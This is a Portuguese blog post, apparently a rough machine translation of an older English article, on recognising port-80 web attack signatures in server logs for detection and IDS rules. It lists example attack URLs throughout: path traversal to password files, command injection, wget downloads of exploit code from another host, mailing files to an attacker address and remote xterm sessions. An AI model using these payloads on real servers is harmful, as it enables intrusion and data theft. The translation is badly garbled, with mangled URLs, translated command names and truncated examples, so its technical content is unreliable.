A porta 80 é o padrão para web-sites e pode ter muitos problemas de segurança diferentes. Estes buracos podem permitir que um invasor obter acesso administrativo ao web-site, ou até mesmo para o mais web-server. Este artigo aborda algumas das características da assinatura de tais ataques, eo fato de que para ser encontrado nos registros.

Assinatura simples
Nesta seção você vai encontrar os sinais padrão de adulteração servidores Web e aplicação web-based. Você não vai ver aqui todos os ataques possíveis, mas aprender como eles normalmente olhar. Estas assinaturas cobrirá a maior parte dos buracos conhecidos e desconhecidos que hackers podem usar contra você. Também aqui descrito é utilizado para o que cada assinatura, ou pode ser usada em um ataque.
Request "." ".." E "..."
Esta é a assinaturas de ataque mais comuns em ambas as aplicações na Web, eo servidor web. Eles são usados por um hacker ou worm para alterar os diretórios no servidor para obter acesso a seções não-públicas. A maioria dos buracos CGI conter pedidos "..".
Exemplo:
http:? //host/cgi-bin/lame.cgi arquivo = .. / .. / .. / .. / etc / motd
Este comando exibe um hacker "Mensagem do Dia". Se um hacker é capaz de ver o seu web-servidor do diretório é web-raiz, ele pode reunir informações suficientes para obter os privilégios necessários.
Pedido de "20%"
Este valor hexadecimal caractere de espaço. Sua presença não significa que você é atacado, como alguns aplicativos na Web usá-lo para solicitações legítimas. No entanto, este pedido pode também ser usado para executar comandos.Portanto, tenha cuidado ao verificar os logs.
Exemplo:
? http: //host/cgi-bin/lame.cgi page = ls% 20-al | (padrão para sistemas baseados em UNIX, o comando ls -al)
Este exemplo mostra como um hacker lança o comando ls no UNIX para transferir para o seu argumento. Este argumento dá o hacker uma listagem de diretório completo, que pode ajudar ao atacante o acesso a arquivos importantes em seu sistema, ou sugerir como obter privilégios adicionais.
Pedido de "00%"
É o código hexadecimal de zero bytes. Ele pode ser usado para enganar web-aplicativo, se solicitado pelo outro arquivo.
Exemplo:
http:? //host/cgi-bin/lame.cgi page = index.html
O exemplo mostrado podem ser permitidas para o servidor. Se um hacker descobre isso, ele provavelmente usa uma consulta para encontrar buracos.
http:? //host/cgi-bin/lame.cgi page = .. / .. / .. / .. / etc / motd
Aplicativo baseado na Web pode negar esse pedido, se verifica que os nomes dos arquivos que terminam em .htm, .html, .shtml, ou outras permitida extensão. Muitas aplicações irá considerar o tipo solicitado inválido. E, muitas vezes, responder o atacante que o arquivo deve ter o tipo de permissão. Assim, o hacker pode obter os nomes dos diretórios, arquivos e, em seguida, eventualmente, reunir mais informações sobre o seu sistema.
http:? //host/cgi-bin/lame.cgi page = .. / .. / .. / .. / etc / motd% 00.html
Nesta aplicação, o pedido considera que o nome do arquivo refere-se a um tipo aprovado. Algumas aplicações web não proceder a controlos no correção do arquivo de solicitação, por isso é uma técnica freqüente usada por um hacker.
Request "|"
Uma barra vertical (pipe), é usado frequentemente em UNIX para executar vários comandos ao mesmo tempo na mesma consulta
Exemplo:
gato access_log | grep -i ".."
(Este exemplo mostra o cheque para a presença de pedidos de registo "..", que são muitas vezes utilizados por atacantes e worms.) Na Web aplicações costumam usar esse personagem, pelo que a sua presença no registro pode ser um falso alarme. Para reduzir a freqüência de alarmes falsos, uma análise cuidadosa do seu software e ele funciona.
Alguns exemplos:
? http: //host/cgi-bin/lame.cgi página = .. / .. / .. / .. / bin / ls |
Este pedido é um desafio comum "ls". A seguir estão outras versões deste pedido.
? http: //host/cgi-bin/lame.cgi page = .. / .. / .. / .. / bin / ls% 20% 20 al / etc |
Este pedido fornece uma lista completa de diretório "etc".
? http: //host/cgi-bin/lame.cgi page = gato% 20access_log | grep% 20% 20-i "coxo"
Esta consulta é executado o comando "cat", e depois "grep" com um argumento de "i".
Request ";"
Este ícone permite executar vários comandos em uma única linha no sistema UNIX.
Exemplo:
id; uname -a (executa o comando "id", então "uname")
Aplicações baseadas na web costumam usar esse personagem, então pode haver um alarme falso. Mais uma vez, uma análise aprofundada do seu software e sua operação irá reduzir a taxa de falsos alarmes.
Para ""
Estes símbolos têm de ser verificados nos registros, por muitas razões, a primeira das quais é que eles são usados para dados de saída para um arquivo.
Exemplo 1:
echo "o seu h0 h0 hax0red" >> / etc / motd
(Este é um exemplo de gravação de informações em um arquivo.) Um invasor pode usar uma consulta como a desfigurar o seu site na Web. Os RDS famosos por explorar rain.forest.puppy frequentemente usado por hackers para inserir informações na página principal de um site. Exemplos de comprometidos web-sites com páginas em branco, sem formatação, olhe para attrition.org.
Exemplo 2:
http: // host / something.php = Hi% 20mom% 20I'm% 20Bold!
Este é um exemplo dos ataques de cross-site scripting. HTML tags utilizar os caracteres "." Embora esse tipo de ataque não dá um invasor acesse o sistema, ele pode ser usado para introduzir as pessoas em erro sobre a adequação da informação sobre este site. (É claro que eles precisam visitar o link o atacante desejado. O pedido pode ser mascarado por caracteres codificados em formato hexadecimal, a não ser tão óbvio.)
Request "!"
Este símbolo é usado frequentemente em SSI (Server Side Include) ataques. Este ataque pode dar o hacker resultados semelhantes aos ataques anteriores, quando truque o usuário clica no link.
Exemplo:
http: //host1/something.php=
Neste exemplo, o arquivo é anexado a host2, isso cria a impressão de que ele está em host1. Como a última vez, para realizar o ataque, o usuário deve visitar um link de hackers desejado.
Além disso, ele permite que um invasor execute comandos no sistema com o usuário web-server.
Exemplo:
http: //host/something.php=
Executa o comando "id" no sistema remoto. Ele deve mostrar o ID de usuário web-servidor, que normalmente é chamado de "ninguém" ou "www".
Ele também pode permitir a conexão de arquivos ocultos.
Exemplo:
http: //host/something.php=
Este comando adiciona o arquivo .htpasswd. Este arquivo não deve ser acessível a todos, e até mesmo um built-in Apache regra que proíbe o acesso a .HT. SSI tag ignora-lo, que pode causar um problema de segurança.
Request "
Quando mal escrito PHP-aplicação pode executar um comando em um computador remoto com os privilégios do servidor web- usuário.
Além disso, o hacker pode escrever essa consulta em hexadecimal. Preste atenção a todos os não-padrão e analisar todas as suspeitas.
Request "` "
O símbolo do movimento de retorno é frequentemente usado em Perl para executar comandos. Ela não é usada em aplicações web normais, por isso, se você vê-lo nos logs - percebê-la a sério.
Exemplo:
http: // host / something.cgi = `id`
Em um Perl web-app mal escrito, este comando inicia o comando "id".
Assinaturas avançadas:
Esta seção descreve os comandos executados por hackers e os arquivos solicitados, e como detectar que você está vulnerável a execução do comando remoto. Embora esta não é uma lista completa de comandos e arquivos solicitados por hackers, ele vai ajudar você a entender o que está sendo feito contra seu sistema.
"/ Bin / ls"
Este comando executável "ls". Ele frequentemente solicitados na íntegra pela aplicação web-based muitos buracos. Se você ver o pedido em seus registros, é provável que seu sistema é suscetível a execução do comando remoto. No entanto, isso nem sempre é um problema, e pode ser um falso alarme. Repito mais uma vez, é importante analisar o desempenho de sua aplicação web. Se possível, tente fazer uma consulta, encontrado nos logs e olhar para o resultado.
Exemplo:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / ls% 20-al |
? http: //host/cgi-bin/bad.cgi doh = ls% 20-al;
"cmd.exe"
Este shell de Windows. Um invasor que tem acesso a executar este script, provavelmente será capaz de fazer qualquer coisa em sua máquina, dependendo da configuração de resolução. A maioria dos vermes da Internet, trabalhando através da porta 80, use o cmd.exe a se espalhar para outros sistemas remotos.
Exemplo:
http:? //host/scripts/something.asp=../../WINNT/system32/ cmd.exe dir + e:
"/ Bin / id"
Este comando executável "id". Ele frequentemente solicitados na íntegra pela aplicação web-based muitos buracos. Se você ver o pedido em seus registros, é provável que seu sistema é suscetível a execução do comando remoto. No entanto, isso nem sempre é um problema, e pode ser um falso alarme. Repito mais uma vez, é importante analisar o desempenho de sua aplicação web. Se possível, tente fazer uma consulta, encontrado nos logs e olhar para o resultado.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / id |
? http: //host/cgi-bin/bad.cgi doh = id;
Team "wget e tftp"
Estes comandos são muitas vezes utilizados por atacantes e worms para baixar arquivos adicionais, que podem ser utilizados para privilégios adicionais do sistema. wget - uma equipe de UNIX, pode ser usado para arrancar backdoor.tftp - é UNIX e comando NT foi concebido para transferir arquivos. Alguns worms IIS usar tftp para baixar sua cópia do computador infectado, e continuam a se espalhar.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / path / / wget% 20http-to wget: //host2/Phantasmp.c |
? http: //host/cgi-bin/bad.cgi doh = wget% 20http: security.net/Phantasmp.c //www.hwa-;
O comando "cat"
Muitas vezes usado para exibir o conteúdo dos arquivos. Ele pode ser usado para ler informações importantes, tais como arquivos de configuração, senhas e outros.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / cat% 20 / etc / motd |
? http: //host/cgi-bin/bad.cgi doh = cat% 20 / etc / motd;
O comando "echo"
Esse comando é freqüentemente usado para conectar dados para o arquivo, como index.html.
Exemplos:
http:? //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / echo% 20 "FC- # kiwis% 20was% 20here"% 20% >> 200day. txt |
? http: //host/cgi-bin/bad.cgi doh = echo% 20 "FC- # kiwis% 20was% 20here"% 20% >> 200day.txt;
O comando "ps"
Ele exibe uma lista de processos em execução. Ele pode dizer o que um hacker software está sendo executado em um computador remoto, e que buracos de segurança que pode ter.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / ps% 20-aux |
? http: //host/cgi-bin/bad.cgi doh = ps% 20-aux;
Command "matar e killall"
Estes comandos são usados para fechar o processo em um sistema UNIX. Um hacker pode usá-lo para parar um serviço de sistema ou programa. Além disso, um invasor pode usá-los para encobrir os vestígios de sua façanha, deu à luz a muitas crianças, ou incorretamente concluída.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / bin / kill% 20-9% 200 |
? http: //host/cgi-bin/bad.cgi doh = matá% 20-9% 200;
O comando "uname"
Ele é frequentemente usado por hackers para determinar o nome da máquina remota. Muitas vezes, um site hospedado pelo ISP, e esta equipa pode dizer para que ele possa acessar ISP. Geralmente é solicitado "uname -a" e nos logs, parece que "uname% 20- a".
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / uname% 20-a |
? http: //host/cgi-bin/bad.cgi doh = uname% 20-a;
Equipes compiladores / intérpretes "cc, gcc, Perl, Python, etc ..."
Team "cc" e "gcc" permite que você compilar o programa. Um hacker pode usar wget ou TFTP para fazer download de arquivos, e então usar estes compiladores para criar um exploit. A partir desse momento, tudo é possível, inclusive o rompimento do sistema local.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / cc% 20Phantasmp.c |
? http: //host/cgi-bin/bad.cgi doh = gcc% 20Phantasmp.c; ./ a.out% 20% p 2.031.337;
Se você será solicitado para "Perl" ou "python", é possível que um hacker uploaded Perl ou script python e tentando cortar seu sistema.
A equipe de "mail"
Este comando pode ser utilizado por um hacker para enviar arquivos para o endereço de um hacker e-mail. Ele também pode ser usado para enviar spam.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / mail% 20attacker @ hostname% 20% 20 << / etc / motd |
http: // host / cgi-bin / bad.cgi?doh=mail%20steele@jersey.whitehouse.gov%20 <
Equipe "xterm / outros X-aplicações"
Xterm muitas vezes usado para acessar o shell do sistema remoto. Se você encontrá-lo em seus registros, você levá-la muito a sério, como uma possível violação grave na segurança. Olhe-se no pedido de registro que contenha '% 20% 20-display ". Esses traços muitas vezes indicam uma tentativa de iniciar uma outra xterm ou aplicação X no host remoto.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / usr / X11R6 / bin / xterm% 20-display% 20192.168.22.1 |
? http: //host/cgi-bin/bad.cgi doh = xeyes% 20- exibição% 20192.168.22.1;
Team "chown, chmod, chgrp, chsh, etc. ..."
Esses comandos permitem que você defina o acesso em sistemas UNIX. Aqui está o que eles fazem.
chown permite que você defina a propriedade do arquivo para o usuário
chmod permite o acesso ao arquivo
chgrp permite que você defina a propriedade do arquivo grupo
chsh permite alterar o shell, utilizado pelo usuário.
Exemplos:
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / chmod% 20,777% 20index.html |
http: // host / cgi-bin / bad.cgi doh = chmod% 20,777% 20index.html;?
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / chown% 20zeno% 20 / etc / master.passwd |
? http: //host/cgi-bin/bad.cgi doh = chsh% 20 / bin / sh;
? http: //host/cgi-bin/bad.cgi doh = .. / .. / .. / .. / bin / chgrp% 20nobody% 20 / etc / shadow |
O arquivo "/ etc / passwd"
Esta é as senhas do sistema de arquivos. Normalmente, ele contém as senhas criptografadas (ou seja, "sombra"). No entanto, pode dar um nome de usuário de hackers, caminhos do sistema e, possivelmente, hospedar seu site. Se este arquivo é "sombra", o hacker vai tentar ver o arquivo / etc / shadow.
Arquivo "/etc/master.passwd"
O arquivo de senha para o sistema BSD contendo senhas criptografadas. Disponível apenas para ler a raiz da conta, mas o hacker pode tentar lê-lo, na esperança de ter sorte. Se o servidor web está sendo executado com a raiz direitos, o atacante pode ler o arquivo, mas o administrador do sistema pode esperar grandes problemas.
O arquivo "/ etc / shadow"
Arquivo UNIX-sistema que contém as senhas criptografadas. Disponível apenas para ler a raiz da conta, mas o hacker pode tentar lê-lo, na esperança de ter sorte. Se o servidor web está sendo executado com a raiz direitos, o atacante pode ler o arquivo, mas o administrador do sistema pode esperar grandes problemas.
O arquivo "/ etc / motd"
O arquivo de sistema é "Mensagem do Dia" (Tema do dia) inclui a primeira mensagem que o usuário vê, parte do sistema UNIX. Pode conter informações importantes, dirigida aos usuários de administrador, e versão do sistema operacional. Um hacker pode verificar regularmente o arquivo e para saber qual sistema é utilizado. Em seguida, ele examina-lo para exploits que fornecem acesso adicional ao sistema.
O arquivo "/ etc / hosts"
Este arquivo fornece informações sobre endereços IP e informações de rede. Um hacker pode usá-lo para procurar mais informações sobre as configurações do sistema / rede.
Arquivo "/usr/local/apache/conf/httpd.conf"
O caminho para este arquivo é diferente, não é o mais freqüente. Este arquivo de configuração é o servidor web Apache.Ele pode dar uma informação atacante sobre hospedar seu site e quanto mais específica, como o acesso ao CGI ou SSI.
O arquivo "/etc/inetd.conf"
Este arquivo de configuração inetd serviço. Ele contém um sistema de daemon utilizados pelo computador remoto. Ele também pode solicitar o atacante, se o sistema remoto utiliza um wrapper para cada daemon. Se usado, então o hacker irá verificar "/ etc / hosts.allow" e "/etc/hosts.deny" e, talvez, alterar o respectivo conteúdo se ele vai dar-lhes benefícios adicionais.
Files ".htpasswd, .htaccess, e .htgroup"
Esses arquivos são usados para autenticação no web-site. O hacker tenta visualizar o conteúdo desses arquivos para nomes de usuário e senhas. As senhas são criptografadas e arquivo htpasswd. Um cracker simples senha e algum tempo gasto vai dar um acesso de hackers a determinadas sessões protegidas por senha em seu web-site, e, possivelmente, uma outra conta. (Muitas pessoas usam todos os mesmos nomes de usuário e senhas, e muitas vezes ele dá um acesso de hackers aos outros uma conta que pode ter esse usuário.)
Os arquivos "access_log e error_log"
Ele registra o Apache Web server. Um hacker pode testá-los para ver como se escreve suas consultas e solicitações de outros usuários.
Muitas vezes hackers editar esses arquivos para remover os vestígios da sua presença. Então torna-se difícil de detectar um hacker atacar seu sistema através da porta 80, a menos que seja feito backup ou leva um log de casal.
Files "[drive-letter]: epairsam._ winnt ou [drive-letter]: winnt epairsam"
Este nomes de arquivo senhas Windows NT. Hackers frequentemente pede a esses arquivos, se não for resolvido comandos remotos. Além disso, ele vai lançar um programa como o "crack L0pht", para quebrar as senhas em um sistema Windows remoto. Se ele pode quebrar a senha de administrador, o computador remoto em suas mãos.
Overflows
Nós não ir para o buffer overflow, mas mostrar exemplos de como ele se parece. Buffer overflows são muitas vezes escondidos por codificação e outras técnicas.
Um exemplo simples:
http: // host / cgi-bin / helloworld type = AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (256 vezes)?
Neste exemplo, o invasor envia um monte de "A" na aplicação e verifica o estouro de buffer. Um estouro de buffer pode permitir que um invasor execute comandos remotamente. Se o aplicativo for o root, não pode dar acesso completo ao sistema.
As opções pode parecer com um estouro de buffer, uma grande multidão, e não vamos considerá-los neste artigo.Verifique regularmente os logs. Se você ver enormes solicitações enquanto que para o seu site caracterizada por baixa, era provavelmente uma tentativa de fazer com que um hacker de estouro de buffer ou um novo tipo de worm de Internet ataca sua máquina.
A codificação hexadecimal
Os hackers sabem que os sistemas de IDS, muitas vezes verificar as solicitações muito literalmente. Portanto, eles muitas vezes codificar os seus pedidos em formato hexadecimal, e IDS sente falta deles. Um bom exemplo disso - Scanner CGI conhecido como Bigode. Se você assistiu os logs e viu um enorme número de hexadecimal ou outros caracteres incomuns, provavelmente um hacker tentou cortar alguma forma em seu sistema. Uma maneira rápida de verificar que este é o código hexadecimal - é copiá-lo a partir do log e cole em seu navegador. Se você não obtiver 404, depois convertida código hexadecimal e você vai vê-lo juntamente com o resultado da ação. Se você não quiser arriscar, olhar para os códigos ASCII para decifrar.
Este artigo não abrange todas as explorações de porta 80, mas cobre os tipos mais comuns de ataques. Ela também explica para você o que procurar nos logs, e que acrescer às regras do IDS. Eu também espero que o artigo vai ajudar desenvolvedores web a escrever melhor aplicação web.
0 comentários :
Postar um comentário